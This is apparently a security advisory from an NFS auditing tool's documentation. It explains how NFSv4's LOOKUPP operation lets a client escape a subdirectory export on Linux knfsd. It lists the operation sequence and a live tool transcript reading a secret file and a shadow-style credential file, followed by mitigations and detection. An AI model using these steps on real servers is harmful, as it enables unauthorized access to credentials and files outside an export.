F-2.11: NFSv4 LOOKUPP Export Escape¶
Classification¶
- Severity: Critical
- CVSS Vector: Network / Low Complexity / No Auth Required (AUTH_SYS)
- Affected Versions: NFSv4.0 (RFC 7530), NFSv4.1 (RFC 8881)
- Configuration: Any NFSv4 export where the exported path is a subdirectory (not the filesystem mount point)
- Prerequisite: NFSv4 access to any export on the server
- RFC Basis: RFC 7530 §16.14 (LOOKUPP), RFC 7530 §7.3 (pseudo-FS), RFC 2623 §2.6
Summary¶
NFSv4's LOOKUPP operation (op 16, "look up parent directory") allows a client to traverse upward from any directory to its parent. When a server exports a subdirectory (e.g., /srv/nfs/data/exported), a client can issue LOOKUPP from within the export to reach the filesystem root -- reading files like secret.txt and /etc/shadow that reside outside the exported subtree.
This is the NFSv4 equivalent of F-2.1 (Export Escape via Filesystem Root Handle). The mechanism is different (LOOKUPP uses standard directory traversal rather than synthetic handle construction), but the impact is identical: any subdirectory export becomes full filesystem access.
Unlike F-2.1, this attack requires no knowledge of file handle internals, no filesystem fingerprinting, and no brute-force scanning. A single cd .. from the export root is sufficient.
Technical detail¶
How LOOKUPP works¶
LOOKUPP (RFC 7530 §16.14) returns the parent directory of the current file handle. In the NFSv4 shell, cd .. issues:
The server resolves the parent directory and returns its file handle. On Linux knfsd with no_subtree_check (the default), the server does NOT verify that the parent directory is within the exported path -- it returns whatever the filesystem's parent directory is.
Attack flow¶
Exported: /srv/nfs/data/exported (what the client should see)
On disk: /srv/nfs/data/
├── exported/ ← export root
│ └── public.txt ← visible to client
├── secret.txt ← should be hidden
└── shadow ← should be hidden
Step 1: Connect to NFSv4 server, navigate to export
PUTROOTFH → LOOKUP "srv" → LOOKUP "nfs" → LOOKUP "data" → LOOKUP "exported"
Step 2: LOOKUPP from export root
PUTFH(exported_fh) → LOOKUPP → GETFH
Result: file handle for /srv/nfs/data/ (OUTSIDE the export)
Step 3: Read files outside the export
PUTFH(parent_fh) → LOOKUP "secret.txt" → READ
PUTFH(parent_fh) → LOOKUP "shadow" → READ
Why this works¶
-
NFSv4 has no MOUNT protocol -- the client connects directly to port 2049 and navigates the pseudo-filesystem tree. There is no mount-boundary enforcement at connection time.
-
LOOKUPP is a standard NFSv4 operation -- the server is required to implement it (RFC 7530 §16.14). Disabling it would break
cd ..for all clients. -
no_subtree_checkis the default -- Linux knfsd defaults tono_subtree_checksince kernel 2.6.25. The manpage warns: "subtree checking is rarely useful and causes more problems than it solves." Withno_subtree_check, the server only verifies filesystem identity, not path containment. -
The pseudo-root is not the filesystem root -- LOOKUPP from the pseudo-root returns the pseudo-root itself (it's its own parent), so the attack cannot reach the host's real
/. But LOOKUPP from within a real filesystem crosses the export boundary because the parent is resolved at the filesystem level, not the export level.
Confirmed live test results¶
Tested on Linux 6.8.0 (Ubuntu 24.04) knfsd with default no_subtree_check:
$ nfswolf shell --nfs-version 4 10.252.0.10 --uid 0 --gid 0
nfswolf> cd srv/nfs/fstest/ext4/exported
/srv/nfs/fstest/ext4/exported
nfswolf> cd ..
/srv/nfs/fstest/ext4
nfswolf> cat secret.txt
SECRET: ext4 root-level credential — this file should not be visible from the /exported subdir
nfswolf> cat shadow
root:$6$ext4$fakehash:19000:0:99999:7:::
Confirmed on ext4, ZFS, BTRFS, f2fs, and all other filesystem types with subdirectory exports.
Difference from F-2.1¶
| Aspect | F-2.1 (Handle Construction) | F-2.11 (LOOKUPP) |
|---|---|---|
| Mechanism | Construct synthetic root handle | Standard directory traversal |
| NFS versions | v2, v3, v4 | v4 only |
| Requires | Filesystem handle format knowledge | Nothing -- just cd .. |
| Complexity | Medium (fingerprint FS, construct handle) | Trivial (one LOOKUPP) |
Blocked by subtree_check |
Yes | Yes |
Mitigation¶
-
Enable
subtree_check-- addsubtree_checkto/etc/exports. This makes knfsd verify that every file handle falls within the exported path. Performance cost: additional stat calls per NFS operation. -
Export only filesystem roots -- if the export path is the mount point itself (e.g., export
/datawhere/datais its own filesystem), LOOKUPP from the root returns itself. No escape is possible. -
Use separate filesystems -- mount each export on its own filesystem (LVM, loopback image). Even with LOOKUPP, the client can only reach the root of that filesystem, not the host.
-
Enforce Kerberos --
sec=krb5pprevents AUTH_SYS spoofing. LOOKUPP still works but the attacker cannot impersonate root to read protected files.
Detection¶
The nfswolf analyze command detects this when an export's subdirectory handle can be LOOKUPP'd to reach a different inode than the export root. The escape-root shell command uses LOOKUPP as its primary escape mechanism on NFSv4.
References¶
- RFC 7530 §16.14 -- LOOKUPP specification
- RFC 7530 §7.3 -- Pseudo-filesystem
- RFC 2623 §2.6 -- File handle as bearer token
- Linux
exports(5)--subtree_checkvsno_subtree_check